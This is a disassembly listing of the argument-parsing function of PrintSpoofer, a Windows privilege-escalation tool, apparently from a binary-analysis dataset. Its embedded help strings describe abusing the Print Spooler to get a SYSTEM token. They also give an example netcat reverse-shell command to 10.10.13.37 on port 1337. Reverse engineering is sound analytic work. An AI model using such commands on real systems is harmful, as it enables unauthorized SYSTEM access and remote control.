Function at 0x401180
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [0x406384]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
cmp edi, 1
jle 0x401268
mov esi, dword [ebp + 0xc]
nop dword [eax + eax]
mov ecx, dword [esi + 4]
add esi, 4
cmp word [ecx], 0x2d
jne 0x401268
movzx eax, word [ecx + 2]
add eax, 0xffffff9d
cmp eax, 6
ja case.0x4011c0.101
jmp dword [eax*4 + 0x401364]
mov dword [0x40637c], 1
jmp 0x40125e
dec edi
mov ebx, esi
cmp edi, 1
jle 0x401292
mov eax, dword [ebx + 4]
lea esi, [ebx + 4]
cmp word [eax], 0x2d
je 0x401292
push 0
push 0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstoul]
mov edx, eax
add esp, 0xc
mov dword [0x406384], edx
test edx, edx
jne 0x40125e
push dword [ebx + 4]
push str.____Invalid_session_id:__ws_n
call fcn.004010c0
push 0x403da4
push str._nPrintSpoofer_v_ws__by__itm4n__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.004010c0
push str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.004010c0
push str.Examples:_n____Run_PowerShell_as_SYSTEM_in_the_current_console_n______PrintSpoofer.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______PrintSpoofer.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______PrintSpoofer.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.004010c0
add esp, 0x18
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
dec edi
cmp edi, 1
jle 0x4012ca
mov eax, dword [esi + 4]
add esi, 4
cmp word [eax], 0x2d
je 0x4012ca
mov dword [0x406380], eax
dec edi
cmp edi, 1
jg 0x4011a0
cmp dword [0x40637c], 0
je 0x40133a
test edx, edx
je 0x40133a
push str.____More_than_one_interaction_mode_was_specified._n
call fcn.004010c0
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
push str.____Missing_value_for_option:__d_n
call fcn.004010c0
push 0x403da4
push str._nPrintSpoofer_v_ws__by__itm4n__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.004010c0
push str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.004010c0
push str.Examples:_n____Run_PowerShell_as_SYSTEM_in_the_current_console_n______PrintSpoofer.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______PrintSpoofer.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______PrintSpoofer.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.004010c0
add esp, 0x14
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
push str.____Missing_value_for_option:__c_n
call fcn.004010c0
push 0x403da4
push str._nPrintSpoofer_v_ws__by__itm4n__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.004010c0
push str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.004010c0
push str.Examples:_n____Run_PowerShell_as_SYSTEM_in_the_current_console_n______PrintSpoofer.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______PrintSpoofer.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______PrintSpoofer.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.004010c0
add esp, 0x14
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
push 0x403da4
push str._nPrintSpoofer_v_ws__by__itm4n__n_n__Provided_that_the_current_user_has_the_SeImpersonate_privilege__this_tool_will_leverage_the_Print_n__Spooler_service_to_get_a_SYSTEM_token_and_then_run_a_custom_command_with_CreateProcessAsUser___n_n
call fcn.004010c0
push str.Arguments:_n___c__CMD_____Execute_the_command_CMD_n___i__________Interact_with_the_new_process_in_the_current_command_prompt__default_is_non_interactive__n___d__ID______Spawn_a_new_process_on_the_desktop_corresponding_to_this_session_ID__check_your_ID_with_qwinsta__n___h__________Thats_me_:__n_n
call fcn.004010c0
push str.Examples:_n____Run_PowerShell_as_SYSTEM_in_the_current_console_n______PrintSpoofer.exe__i__c_powershell.exe_n____Spawn_a_SYSTEM_command_prompt_on_the_desktop_of_the_session_1_n______PrintSpoofer.exe__d_1__c_cmd.exe_n____Get_a_SYSTEM_reverse_shell_n______PrintSpoofer.exe__c__c:Temp_nc.exe_10.10.13.37_1337__e_cmd__n_n
call fcn.004010c0
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push ecx
push str.____Invalid_argument:__ls_n
jmp 0x401214
cmp dword [0x406380], 0
jne 0x401358
push str.____Please_specify_a_command_to_execute_n
call fcn.004010c0
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.00401380